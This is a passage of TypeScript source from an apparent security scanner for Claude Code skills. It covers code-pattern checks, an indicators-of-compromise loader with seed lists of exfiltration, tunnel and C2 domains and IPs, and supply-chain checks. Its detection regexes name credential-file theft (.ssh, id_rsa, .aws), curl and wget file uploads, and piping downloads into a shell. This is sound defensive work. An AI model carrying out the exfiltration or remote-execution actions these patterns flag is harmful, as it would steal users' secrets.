textSources = getTextSources(skill);\n\n for (const { text, source } of textSources) {\n const lines = text.split('\\n');\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i];\n const lineNum = i + 1;\n const loc = `${source}:${lineNum}`;\n const cbCtx = { lines, index: i };\n\n // CODE-001: eval/exec — always CRITICAL, no code block reduction\n checkPatterns(results, line, EVAL_PATTERNS, {\n id: 'CODE-001',\n severity: 'CRITICAL',\n title: 'eval/exec/Function constructor',\n loc,\n lineNum,\n source,\n });\n\n // CODE-002: shell execution — always CRITICAL, no code block reduction\n if (!SHELL_EXEC_FALSE_POSITIVES.some((p) => p.test(line))) {\n checkPatterns(results, line, SHELL_EXEC_PATTERNS, {\n id: 'CODE-002',\n severity: 'CRITICAL',\n title: 'Shell/subprocess execution',\n loc,\n lineNum,\n source,\n });\n }\n\n // CODE-003: destructive file operations — code block reduction\n checkPatterns(results, line, DESTRUCTIVE_PATTERNS, {\n id: 'CODE-003',\n severity: 'CRITICAL',\n title: 'Destructive file operation',\n loc,\n lineNum,\n source,\n codeBlockCtx: cbCtx,\n });\n\n // CODE-004: hardcoded external URLs — code block reduction\n checkPatterns(results, line, NETWORK_PATTERNS, {\n id: 'CODE-004',\n severity: 'HIGH',\n title: 'Hardcoded external URL/network request',\n loc,\n lineNum,\n source,\n codeBlockCtx: cbCtx,\n });\n\n // CODE-005: file write outside expected dir — no code block reduction\n checkPatterns(results, line, FILE_WRITE_PATTERNS, {\n id: 'CODE-005',\n severity: 'HIGH',\n title: 'File write outside expected directory',\n loc,\n lineNum,\n source,\n });\n\n // CODE-006: env var access — code block reduction\n checkPatterns(results, line, ENV_ACCESS_PATTERNS, {\n id: 'CODE-006',\n severity: 'MEDIUM',\n title: 'Environment variable access',\n loc,\n lineNum,\n source,\n codeBlockCtx: cbCtx,\n });\n\n // CODE-014: reverse shell patterns — always CRITICAL, no code block reduction\n checkPatterns(results, line, REVERSE_SHELL_PATTERNS, {\n id: 'CODE-014',\n severity: 'CRITICAL',\n title: 'Reverse shell pattern',\n loc,\n lineNum,\n source,\n });\n\n // CODE-015: remote pipeline execution / data exfiltration — no code block reduction\n const code015 = detectCode015(line);\n if (code015) {\n results.push({\n id: 'CODE-015',\n category: 'CODE',\n severity: code015.severity,\n title: code015.title,\n message: `At ${loc}: ${line.trim().slice(0, 120)}`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n });\n }\n\n // CODE-013: API key/credential leakage — no code block reduction\n const credentialLeak = detectCredentialLeak(line);\n if (credentialLeak) {\n results.push({\n id: 'CODE-013',\n category: 'CODE',\n severity: credentialLeak.severity,\n title: credentialLeak.title,\n message: `At ${loc}: ${line.trim().slice(0, 120)}`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n });\n }\n\n // CODE-010: dynamic code generation — no code block reduction\n checkPatterns(results, line, DYNAMIC_CODE_PATTERNS, {\n id: 'CODE-010',\n severity: 'HIGH',\n title: 'Dynamic code generation pattern',\n loc,\n lineNum,\n source,\n });\n\n // CODE-012: permission escalation\n // Skip when in documentation context (installation guides)\n {\n const isDoc = isInDocumentationContext(lines, i);\n if (!isDoc) {\n checkPatterns(results, line, PERMISSION_PATTERNS, {\n id: 'CODE-012',\n severity: 'HIGH',\n title: 'Permission escalation',\n loc,\n lineNum,\n source,\n });\n }\n }\n }\n\n // Multi-line checks\n scanEncodedStrings(results, text, source);\n scanObfuscation(results, text, source);\n }\n\n return results;\n },\n};\n\ninterface PatternCheckOpts {\n id: string;\n severity: Severity;\n title: string;\n loc: string;\n lineNum: number;\n source: string;\n codeBlockCtx?: { lines: string[]; index: number };\n}\n\nfunction checkPatterns(\n results: CheckResult[],\n line: string,\n patterns: RegExp[],\n opts: PatternCheckOpts\n): void {\n for (const pattern of patterns) {\n if (pattern.test(line)) {\n let severity = opts.severity;\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n if (opts.codeBlockCtx && isInCodeBlock(opts.codeBlockCtx.lines, opts.codeBlockCtx.index)) {\n const r = reduceSeverity(severity, 'in code block');\n severity = r.severity;\n reducedFrom = r.reducedFrom;\n msgSuffix = ` ${r.annotation}`;\n }\n results.push({\n id: opts.id,\n category: 'CODE',\n severity,\n title: opts.title,\n message: `At ${opts.loc}: ${line.trim().slice(0, 120)}${msgSuffix}`,\n line: opts.lineNum,\n snippet: line.trim().slice(0, 120),\n source: opts.source,\n reducedFrom,\n });\n return; // one match per line per rule\n }\n }\n}\n\ninterface CredentialLeakMatch {\n severity: Severity;\n title: string;\n}\n\ninterface Code015Match {\n severity: Severity;\n title: string;\n}\n\nfunction detectCode015(line: string): Code015Match | null {\n if (REMOTE_PIPELINE_EXEC_PATTERNS.some((pattern) => pattern.test(line))) {\n return {\n severity: 'CRITICAL',\n title: 'Remote pipeline execution pattern',\n };\n }\n\n if (DATA_EXFIL_PATTERNS.some((pattern) => pattern.test(line))) {\n return {\n severity: 'HIGH',\n title: 'Data exfiltration pattern',\n };\n }\n\n return null;\n}\n\nfunction detectCredentialLeak(line: string): CredentialLeakMatch | null {\n for (const provider of PROVIDER_CREDENTIAL_PATTERNS) {\n if (provider.pattern.test(line)) {\n return {\n severity: 'CRITICAL',\n title: provider.title,\n };\n }\n }\n\n if (\n OPENAI_SK_FALLBACK_PATTERN.test(line) &&\n isCredentialAssignmentContext(line)\n ) {\n return {\n severity: 'CRITICAL',\n title: 'OpenAI-style API key exposure',\n };\n }\n\n const assignmentMatch = line.match(CREDENTIAL_EQUALS_PATTERN);\n if (\n assignmentMatch?.[1] &&\n assignmentMatch[2] &&\n hasCredentialNameToken(assignmentMatch[1]) &&\n isHighEntropyCredential(assignmentMatch[2])\n ) {\n return {\n severity: 'HIGH',\n title: 'High-entropy credential assignment',\n };\n }\n\n const keyValueMatch = line.match(CREDENTIAL_KEY_VALUE_PATTERN);\n if (\n keyValueMatch?.[1] &&\n keyValueMatch[2] &&\n hasCredentialNameToken(keyValueMatch[1]) &&\n isHighEntropyCredential(keyValueMatch[2])\n ) {\n return {\n severity: 'HIGH',\n title: 'High-entropy credential assignment',\n };\n }\n\n const bearerMatch = line.match(AUTHORIZATION_BEARER_PATTERN);\n if (bearerMatch?.[1] && isHighEntropyCredential(bearerMatch[1])) {\n return {\n severity: 'HIGH',\n title: 'Authorization bearer credential exposure',\n };\n }\n\n const xApiKeyMatch = line.match(X_API_KEY_PATTERN);\n if (xApiKeyMatch?.[1] && isHighEntropyCredential(xApiKeyMatch[1])) {\n return {\n severity: 'HIGH',\n title: 'X-API-Key credential exposure',\n };\n }\n\n return null;\n}\n\nfunction isCredentialAssignmentContext(line: string): boolean {\n if (/\\bAuthorization\\b\\s*:\\s*Bearer\\s+sk-/i.test(line)) {\n return true;\n }\n\n if (/\\bx-api-key\\b\\s*:\\s*sk-/i.test(line)) {\n return true;\n }\n\n const equalsMatch = line.match(CREDENTIAL_EQUALS_PATTERN);\n if (equalsMatch?.[1] && equalsMatch[2]) {\n return hasCredentialNameToken(equalsMatch[1]) && equalsMatch[2].startsWith('sk-');\n }\n\n const keyValueMatch = line.match(CREDENTIAL_KEY_VALUE_PATTERN);\n if (keyValueMatch?.[1] && keyValueMatch[2]) {\n return hasCredentialNameToken(keyValueMatch[1]) && keyValueMatch[2].startsWith('sk-');\n }\n\n return false;\n}\n\nfunction hasCredentialNameToken(name: string): boolean {\n const normalized = name\n .replace(/([a-z])([A-Z])/g, '$1_$2')\n .replace(/([A-Za-z])([0-9])/g, '$1_$2')\n .replace(/([0-9])([A-Za-z])/g, '$1_$2')\n .toLowerCase();\n\n const tokens = normalized\n .split(/[_-]+/)\n .map((token) => token.trim())\n .filter(Boolean);\n\n if (tokens.some((token) => CREDENTIAL_NAME_TOKENS.has(token))) {\n return true;\n }\n\n return tokens.length === 1 && CREDENTIAL_COMPOUND_NAMES.has(tokens[0]);\n}\n\nfunction isHighEntropyCredential(value: string): boolean {\n if (value.length < CREDENTIAL_MIN_LENGTH) {\n return false;\n }\n return shannonEntropy(value) > CREDENTIAL_MIN_ENTROPY;\n}\n\nfunction getTextSources(\n skill: ParsedSkill\n): Array<{ text: string; source: string }> {\n const sources: Array<{ text: string; source: string }> = [\n { text: skill.body, source: 'SKILL.md' },\n ];\n for (const file of skill.files) {\n if (file.content && file.path !== 'SKILL.md') {\n sources.push({ text: file.content, source: file.path });\n }\n }\n return sources;\n}\n\nfunction scanEncodedStrings(\n results: CheckResult[],\n text: string,\n source: string\n): void {\n // CODE-007: Base64/Hex long strings\n const longStringRegex = /[A-Za-z0-9+/=]{50,}|(?:0x)?[0-9a-fA-F]{50,}/g;\n let match;\n while ((match = longStringRegex.exec(text)) !== null) {\n const str = match[0];\n if (isBase64Like(str) || isHexEncoded(str)) {\n const lineNum = text.slice(0, match.index).split('\\n').length;\n results.push({\n id: 'CODE-007',\n category: 'CODE',\n severity: 'HIGH',\n title: 'Long encoded string',\n message: `${source}:${lineNum}: Found ${str.length}-char encoded string.`,\n line: lineNum,\n snippet: str.slice(0, 80) + '...',\n source,\n });\n }\n }\n\n // CODE-008: High Shannon entropy strings\n const wordRegex = /\\b[A-Za-z0-9_]{20,}\\b/g;\n while ((match = wordRegex.exec(text)) !== null) {\n const entropy = shannonEntropy(match[0]);\n if (entropy > 4.5) {\n const lineNum = text.slice(0, match.index).split('\\n').length;\n results.push({\n id: 'CODE-008',\n category: 'CODE',\n severity: 'MEDIUM',\n title: 'High entropy string',\n message: `${source}:${lineNum}: String \"${match[0].slice(0, 30)}...\" has entropy ${entropy.toFixed(2)} bits/char.`,\n line: lineNum,\n source,\n });\n }\n }\n\n // CODE-009: Multi-layer encoding\n const multiEncodingPatterns = [\n /atob\\s*\\(\\s*atob/i,\n /base64.*decode.*base64.*decode/i,\n /Buffer\\.from\\(.*Buffer\\.from/,\n /decode.*decode.*decode/i,\n ];\n for (const pattern of multiEncodingPatterns) {\n if (pattern.test(text)) {\n results.push({\n id: 'CODE-009',\n category: 'CODE',\n severity: 'CRITICAL',\n title: 'Multi-layer encoding detected',\n message: `${source}: Contains nested encoding/decoding operations.`,\n source,\n });\n break;\n }\n }\n}\n\nfunction scanObfuscation(\n results: CheckResult[],\n text: string,\n source: string\n): void {\n // CODE-011: Obfuscated variable names\n // Look for patterns like: const _0x1a2b = ...\n const obfuscatedVarRegex = /\\b_0x[0-9a-f]{2,}\\b/g;\n const obfMatches = text.match(obfuscatedVarRegex);\n if (obfMatches && obfMatches.length >= 3) {\n results.push({\n id: 'CODE-011',\n category: 'CODE',\n severity: 'MEDIUM',\n title: 'Obfuscated variable names',\n message: `${source}: Found ${obfMatches.length} hex-style variable names (e.g. ${obfMatches[0]}). May indicate obfuscated code.`,\n source,\n });\n }\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { readFileSync, existsSync } from 'node:fs';\nimport { join } from 'node:path';\nimport { homedir } from 'node:os';\nimport { DEFAULT_IOC, type IOCDatabase, type CategorizedDomains, type DomainCategory } from './indicators.js';\n\nlet cachedIOC: IOCDatabase | null = null;\n\n/**\n * Load IOC database: embedded seed data + optional external override file.\n * External file is merged (appended) into the seed data, not replacing it.\n *\n * Search paths for override file:\n * 1. ~/.config/skill-checker/ioc-override.json\n */\nexport function loadIOC(): IOCDatabase {\n if (cachedIOC) return cachedIOC;\n\n const ioc = structuredClone(DEFAULT_IOC);\n\n const overridePath = join(\n homedir(),\n '.config',\n 'skill-checker',\n 'ioc-override.json'\n );\n\n if (existsSync(overridePath)) {\n try {\n const raw = readFileSync(overridePath, 'utf-8');\n const ext = JSON.parse(raw) as Partial<IOCDatabase>;\n mergeIOC(ioc, ext);\n } catch {\n // Invalid override file — silently use seed data only\n }\n }\n\n cachedIOC = ioc;\n return ioc;\n}\n\n/**\n * Reset the cached IOC database (useful for testing).\n */\nexport function resetIOCCache(): void {\n cachedIOC = null;\n}\n\n/**\n * Merge external IOC data into the base database.\n * Arrays are concatenated (deduplicated), objects are merged.\n */\nfunction mergeIOC(base: IOCDatabase, ext: Partial<IOCDatabase>): void {\n if (ext.c2_ips) {\n base.c2_ips = dedupe([...base.c2_ips, ...ext.c2_ips]);\n }\n if (ext.malicious_hashes) {\n Object.assign(base.malicious_hashes, ext.malicious_hashes);\n }\n if (ext.malicious_domains) {\n const categories: (keyof CategorizedDomains)[] = [\n 'exfiltration', 'tunnel', 'oast', 'paste', 'c2',\n ];\n for (const cat of categories) {\n if (ext.malicious_domains[cat]) {\n base.malicious_domains[cat] = dedupe([\n ...base.malicious_domains[cat],\n ...ext.malicious_domains[cat],\n ]);\n }\n }\n }\n if (ext.typosquat) {\n if (ext.typosquat.known_patterns) {\n base.typosquat.known_patterns = dedupe([\n ...base.typosquat.known_patterns,\n ...ext.typosquat.known_patterns,\n ]);\n }\n if (ext.typosquat.protected_names) {\n base.typosquat.protected_names = dedupe([\n ...base.typosquat.protected_names,\n ...ext.typosquat.protected_names,\n ]);\n }\n }\n if (ext.malicious_publishers) {\n base.malicious_publishers = dedupe([\n ...base.malicious_publishers,\n ...ext.malicious_publishers,\n ]);\n }\n if (ext.version) base.version = ext.version;\n if (ext.updated) base.updated = ext.updated;\n}\n\n/**\n * Get all malicious domains as a flat array.\n */\nexport function getAllDomains(ioc: IOCDatabase): string[] {\n const { exfiltration, tunnel, oast, paste, c2 } = ioc.malicious_domains;\n return [...exfiltration, ...tunnel, ...oast, ...paste, ...c2];\n}\n\n/**\n * Find which category a domain belongs to.\n * Returns undefined if domain is not in any category.\n */\nexport function getDomainCategory(\n ioc: IOCDatabase,\n domain: string\n): DomainCategory | undefined {\n const d = domain.toLowerCase();\n const categories: DomainCategory[] = ['exfiltration', 'tunnel', 'oast', 'paste', 'c2'];\n for (const cat of categories) {\n if (ioc.malicious_domains[cat].some(\n (entry) => d === entry || d.endsWith('.' + entry)\n )) {\n return cat;\n }\n }\n return undefined;\n}\n\nfunction dedupe(arr: string[]): string[] {\n return [...new Set(arr)];\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n/**\n * IOC (Indicators of Compromise) database type definition and seed data.\n * Seed data is compiled from publicly available threat intelligence.\n */\n\nexport type DomainCategory = 'exfiltration' | 'tunnel' | 'oast' | 'paste' | 'c2';\n\nexport interface CategorizedDomains {\n exfiltration: string[];\n tunnel: string[];\n oast: string[];\n paste: string[];\n c2: string[];\n}\n\nexport interface IOCDatabase {\n version: string;\n updated: string;\n c2_ips: string[];\n malicious_hashes: Record<string, string>;\n malicious_domains: CategorizedDomains;\n typosquat: {\n known_patterns: string[];\n protected_names: string[];\n };\n malicious_publishers: string[];\n}\n\n/**\n * Default embedded IOC seed data.\n * Sources: public threat intelligence reports, community advisories.\n */\nexport const DEFAULT_IOC: IOCDatabase = {\n version: '2026.03.16',\n updated: '2026-03-16',\n\n c2_ips: [\n '91.92.242.30',\n '91.92.242.39',\n '185.220.101.1',\n '185.220.101.2',\n '45.155.205.233',\n ],\n\n malicious_hashes: {\n // NOTE: Never add the SHA256 of an empty file (e3b0c44298fc...b855)\n // as it causes false positives on any empty file.\n 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2':\n 'clawhavoc-exfiltrator',\n },\n\n malicious_domains: {\n exfiltration: [\n 'webhook.site',\n 'requestbin.com',\n 'requestcatcher.com',\n 'pipedream.com',\n 'pipedream.net',\n 'hookbin.com',\n 'beeceptor.com',\n 'postb.in',\n 'webhook.lol',\n 'requestinspector.com',\n 'mockbin.org',\n ],\n tunnel: [\n 'ngrok.io',\n 'ngrok-free.app',\n 'serveo.net',\n 'localtunnel.me',\n 'bore.pub',\n 'localhost.run',\n 'loca.lt',\n 'telebit.cloud',\n 'playit.gg',\n 'portmap.io',\n 'pagekite.me',\n ],\n oast: [\n 'interact.sh',\n 'oast.fun',\n 'oastify.com',\n 'dnslog.cn',\n 'ceye.io',\n 'burpcollaborator.net',\n 'canarytokens.com',\n 'requestrepo.com',\n ],\n paste: [\n 'pastebin.com',\n 'paste.ee',\n 'hastebin.com',\n 'ghostbin.com',\n 'dpaste.org',\n 'rentry.co',\n '0bin.net',\n 'privatebin.net',\n 'paste.mozilla.org',\n ],\n c2: [\n 'evil.com',\n 'malware.com',\n 'exploit.in',\n 'darkweb.onion',\n ],\n },\n\n typosquat: {\n known_patterns: [\n 'clawhub1',\n 'cllawhub',\n 'clawhab',\n 'moltbot',\n 'claw-hub',\n 'clawhub-pro',\n ],\n protected_names: [\n 'clawhub',\n 'secureclaw',\n 'openclaw',\n 'clawbot',\n 'claude',\n 'anthropic',\n 'skill-checker',\n ],\n },\n\n malicious_publishers: [\n 'clawhavoc',\n 'phantom-tracker',\n 'solana-wallet-drainer',\n ],\n};\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill, Severity } from '../types.js';\nimport { reduceSeverity } from '../types.js';\nimport {\n isNamespaceOrSchemaURI,\n isInNetworkRequestContext,\n isInDocumentationContext,\n isNearDocumentationHeader,\n isInCodeBlock,\n isLicenseFile,\n isLocalhostURL,\n} from '../utils/context.js';\nimport { loadIOC, getAllDomains, getDomainCategory } from '../ioc/index.js';\n\n/** Hardcoded fallback domains (used when IOC has no malicious_domains) */\nconst FALLBACK_SUSPICIOUS_DOMAINS = [\n 'darkweb.onion',\n];\n\n/**\n * Check if the line contains a suspicious domain combined with sensitive operations.\n * These combinations indicate likely malicious intent rather than documentation.\n */\nfunction isSensitiveDomainCombo(line: string): boolean {\n if (/curl\\b[^\\n]*(?:-d|--data|--data-binary|--data-raw|--data-urlencode)\\s+@/i.test(line)) {\n return true;\n }\n if (/curl\\b[^\\n]*(?:-F|--form)\\s+[^\\s=]+=@/i.test(line)) {\n return true;\n }\n if (/wget\\b[^\\n]*--post-file/i.test(line)) {\n return true;\n }\n if (/\\|\\s*(?:sh|bash|zsh|python|node)\\b/i.test(line)) {\n return true;\n }\n if (/(?:\\.env|\\.ssh|id_rsa|\\.aws|credentials|\\.netrc|\\.git-credentials)/i.test(line)) {\n return true;\n }\n return false;\n}\n\nconst MCP_SERVER_PATTERN = /\\bmcp[-_]?server\\b/i;\nconst NPX_Y_PATTERN = /\\bnpx\\s+-y\\s+/;\nconst NPM_INSTALL_PATTERN = /\\bnpm\\s+install\\b/;\nconst PIP_INSTALL_PATTERN = /\\bpip3?\\s+install\\b/;\nconst GIT_CLONE_PATTERN = /\\bgit\\s+clone\\b/;\n\n/** URL extraction pattern */\nconst URL_PATTERN = /https?:\\/\\/[^\\s\"'`<>)\\]]+/g;\n/** IP address pattern (not localhost) */\nconst IP_URL_PATTERN = /https?:\\/\\/(?:\\d{1,3}\\.){3}\\d{1,3}/;\n\n/**\n * Extract hostname from a URL string without using the URL constructor\n * (which may throw on malformed URLs found in skill content).\n */\nfunction extractHostname(url: string): string {\n const afterProto = url.replace(/^https?:\\/\\//, '');\n const hostPort = afterProto.split('/')[0].split('?')[0].split('#')[0];\n const host = hostPort.split(':')[0];\n return host.toLowerCase();\n}\n\n/**\n * Check if a hostname matches a domain exactly or is a subdomain of it.\n * e.g. domain=\"evil.com\" matches \"evil.com\" and \"a.evil.com\"\n * but NOT \"notevil.com\" or \"evil.com.cn\"\n */\nfunction hostnameMatchesDomain(hostname: string, domain: string): boolean {\n const d = domain.toLowerCase();\n return hostname === d || hostname.endsWith('.' + d);\n}\n\nexport const supplyChainChecks: CheckModule = {\n name: 'Supply Chain',\n category: 'SUPPLY',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n const allText = getAllText(skill);\n const ioc = loadIOC();\n const suspiciousDomains = getAllDomains(ioc);\n if (suspiciousDomains.length === 0) {\n suspiciousDomains.push(...FALLBACK_SUSPICIOUS_DOMAINS);\n }\n\n for (let i = 0; i < allText.length; i++) {\n const { line, lineNum, source } = allText[i];\n\n // SUPPLY-001: Unknown MCP server references\n if (MCP_SERVER_PATTERN.test(line)) {\n let severity: Severity = 'HIGH';\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n const srcLines = getLinesForSource(skill, source);\n const localIdx = getLocalIndex(source, lineNum, skill.bodyStartLine);\n if (localIdx >= 0 && isInCodeBlock(srcLines, localIdx)) {\n const r = reduceSeverity(severity, 'in code block');\n severity = r.severity;\n reducedFrom = r.reducedFrom;\n msgSuffix = ` ${r.annotation}`;\n }\n results.push({\n id: 'SUPPLY-001',\n category: 'SUPPLY',\n severity,\n title: 'MCP server reference',\n message: `${source}:${lineNum}: References an MCP server. Verify it is from a trusted source.${msgSuffix}`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n reducedFrom,\n });\n }\n\n // SUPPLY-002: npx -y auto-install\n if (NPX_Y_PATTERN.test(line)) {\n results.push({\n id: 'SUPPLY-002',\n category: 'SUPPLY',\n severity: 'MEDIUM',\n title: 'npx -y auto-install',\n message: `${source}:${lineNum}: Uses npx -y which auto-installs packages without confirmation.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n });\n }\n\n // SUPPLY-003: npm/pip install unknown packages\n // Skip when in documentation context (installation guides / prerequisites)\n // Documentation context only applies to SKILL.md, not companion scripts\n if (NPM_INSTALL_PATTERN.test(line) || PIP_INSTALL_PATTERN.test(line)) {\n const allLines = getAllLines(skill);\n const globalIdx = findGlobalLineIndex(allLines, source, lineNum);\n const isDoc = source === 'SKILL.md' && globalIdx >= 0 && isInDocumentationContext(\n allLines.map((l) => l.line),\n globalIdx\n );\n const srcLines = getLinesForSource(skill, source);\n const localIdx = getLocalIndex(source, lineNum, skill.bodyStartLine);\n const inCodeBlock = localIdx >= 0 && isInCodeBlock(srcLines, localIdx);\n if (isDoc && !inCodeBlock) {\n // Documentation context without code block: skip entirely\n } else {\n let severity: Severity = 'HIGH';\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n if (inCodeBlock) {\n // Check if also under a documentation header (double context)\n // Only applies to SKILL.md (script comments must not match)\n const isNearDoc = source === 'SKILL.md' && globalIdx >= 0 && isNearDocumentationHeader(\n allLines.map((l) => l.line),\n globalIdx\n );\n if (isNearDoc) {\n // Double context: code block + documentation header → LOW\n severity = 'LOW';\n reducedFrom = 'HIGH';\n msgSuffix = ' [reduced: in code block within documentation]';\n } else {\n const r = reduceSeverity(severity, 'in code block');\n severity = r.severity;\n reducedFrom = r.reducedFrom;\n msgSuffix = ` ${r.annotation}`;\n }\n }\n results.push({\n id: 'SUPPLY-003',\n category: 'SUPPLY',\n severity,\n title: 'Package installation command',\n message: `${source}:${lineNum}: Installs packages. Verify package names are legitimate.${msgSuffix}`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n reducedFrom,\n });\n }\n }\n\n // SUPPLY-006: git clone non-standard source\n // Skip when in documentation context (installation guides / prerequisites)\n // Documentation context only applies to SKILL.md, not companion scripts\n if (GIT_CLONE_PATTERN.test(line)) {\n const allLines = getAllLines(skill);\n const globalIdx = findGlobalLineIndex(allLines, source, lineNum);\n const isDoc = source === 'SKILL.md' && globalIdx >= 0 && isInDocumentationContext(\n allLines.map((l) => l.line),\n globalIdx\n );\n if (!isDoc) {\n let severity: Severity = 'MEDIUM';\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n const srcLines = getLinesForSource(skill, source);\n const localIdx = getLocalIndex(source, lineNum, skill.bodyStartLine);\n if (localIdx >= 0 && isInCodeBlock(srcLines, localIdx)) {\n const r = reduceSeverity(severity, 'in code block');\n severity = r.severity;\n reducedFrom = r.reducedFrom;\n msgSuffix = ` ${r.annotation}`;\n }\n results.push({\n id: 'SUPPLY-006',\n category: 'SUPPLY',\n severity,\n title: 'git clone command',\n message: `${source}:${lineNum}: Clones a git repository. Verify the source.${msgSuffix}`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n reducedFrom,\n });\n }\n }\n\n // URL-based checks\n const urls = line.match(URL_PATTERN) || [];\n for (const url of urls) {\n // SUPPLY-004: Non-HTTPS URL\n // Skip namespace/schema URIs, license files, and localhost\n if (url.startsWith('http://')) {\n if (isLicenseFile(source)) continue; // legal text, not instruction\n if (isLocalhostURL(url)) continue; // no external attack surface\n if (!isNamespaceOrSchemaURI(url, line)) {\n const isNetworkCtx = isInNetworkRequestContext(line);\n let severity: Severity = isNetworkCtx ? 'HIGH' : 'MEDIUM';\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n const srcLines = getLinesForSource(skill, source);\n const localIdx = getLocalIndex(source, lineNum, skill.bodyStartLine);\n if (localIdx >= 0 && isInCodeBlock(srcLines, localIdx)) {\n const r = reduceSeverity(severity, 'in code block');\n severity = r.severity;\n reducedFrom = r.reducedFrom;\n msgSuffix = ` ${r.annotation}`;\n }\n results.push({\n id: 'SUPPLY-004',\n category: 'SUPPLY',\n severity,\n title: 'Non-HTTPS URL',\n message: `${source}:${lineNum}: Uses insecure HTTP: ${url}${msgSuffix}`,\n line: lineNum,\n snippet: url,\n source,\n reducedFrom,\n });\n }\n }\n\n // SUPPLY-005: IP address instead of domain\n if (IP_URL_PATTERN.test(url)) {\n // Exclude localhost\n if (!/https?:\\/\\/127\\.0\\.0\\.1/.test(url) && !/https?:\\/\\/0\\.0\\.0\\.0/.test(url)) {\n results.push({\n id: 'SUPPLY-005',\n category: 'SUPPLY',\n severity: 'CRITICAL',\n title: 'IP address used instead of domain',\n message: `${source}:${lineNum}: Uses raw IP address: ${url}. This may bypass DNS-based security.`,\n line: lineNum,\n snippet: url,\n source,\n });\n }\n }\n\n // SUPPLY-007: Known suspicious domains (from IOC database)\n const hostname = extractHostname(url);\n for (const domain of suspiciousDomains) {\n if (hostnameMatchesDomain(hostname, domain)) {\n const category = getDomainCategory(ioc, domain);\n const categoryLabel = category ? ` (${category})` : '';\n\n let severity: Severity = 'HIGH';\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n\n // Escalate: combined with sensitive operations on same line\n if (isSensitiveDomainCombo(line)) {\n severity = 'CRITICAL';\n msgSuffix = ' [escalated: combined with sensitive operation]';\n } else {\n // Check code block context\n const srcLines = getLinesForSource(skill, source);\n const localIdx = getLocalIndex(source, lineNum, skill.bodyStartLine);\n const inCodeBlock = localIdx >= 0 && isInCodeBlock(srcLines, localIdx);\n\n if (inCodeBlock) {\n severity = 'MEDIUM';\n reducedFrom = 'HIGH';\n msgSuffix = ' [reduced: in code block]';\n } else {\n // Check documentation context\n const allLines = getAllLines(skill);\n const globalIdx = findGlobalLineIndex(allLines, source, lineNum);\n const isDoc = source === 'SKILL.md' && globalIdx >= 0 && isInDocumentationContext(\n allLines.map((l) => l.line),\n globalIdx\n );\n if (isDoc) {\n severity = 'LOW';\n reducedFrom = 'HIGH';\n msgSuffix = ' [reduced: in documentation context]';\n }\n }\n }\n\n results.push({\n id: 'SUPPLY-007',\n category: 'SUPPLY',\n severity,\n title: `Suspicious domain${categoryLabel} detected`,\n message: `${source}:${lineNum}: References suspicious domain \"${domain}\".${msgSuffix}`,\n line: lineNum,\n snippet: url,\n source,\n reducedFrom,\n });\n break;\n }\n }\n }\n }\n\n return results;\n },\n};\n\ntype TextLine = { line: string; lineNum: number; source: string };\n\n/** Get all lines for a specific source file as a string array (for code block tracking). */\nfunction getLinesForSource(skill: ParsedSkill, source: string): string[] {\n if (source === 'SKILL.md') return skill.bodyLines;\n const file = skill.files.find((f) => f.path === source);\n return file?.content?.split('\\n') ?? [];\n}\n\n/** Convert source-relative lineNum to zero-based index in the source lines array. */\nfunction getLocalIndex(source: string, lineNum: number, bodyStartLine: number): number {\n if (source === 'SKILL.md') return lineNum - bodyStartLine;\n return lineNum - 1;\n}\n\nfunction getAllText(skill: ParsedSkill): TextLine[] {\n const result: TextLine[] = [];\n\n for (let i = 0; i < skill.bodyLines.length; i++) {\n result.push({\n line: skill.bodyLines[i],\n lineNum: skill.bodyStartLine + i,\n source: 'SKILL.md',\n });\n }\n\n for (const file of skill.files) {\n if (file.content && file.path !== 'SKILL.md') {\n const lines = file.content.split('\\n');\n for (let i = 0; i < lines.length; i++) {\n result.push({ line: lines[i], lineNum: i + 1, source: file.path });\n }\n }\n }\n\n return result;\n}\n\n/** Get all lines from SKILL.md body (for context lookback) */\nfunction getAllLines(skill: ParsedSkill): 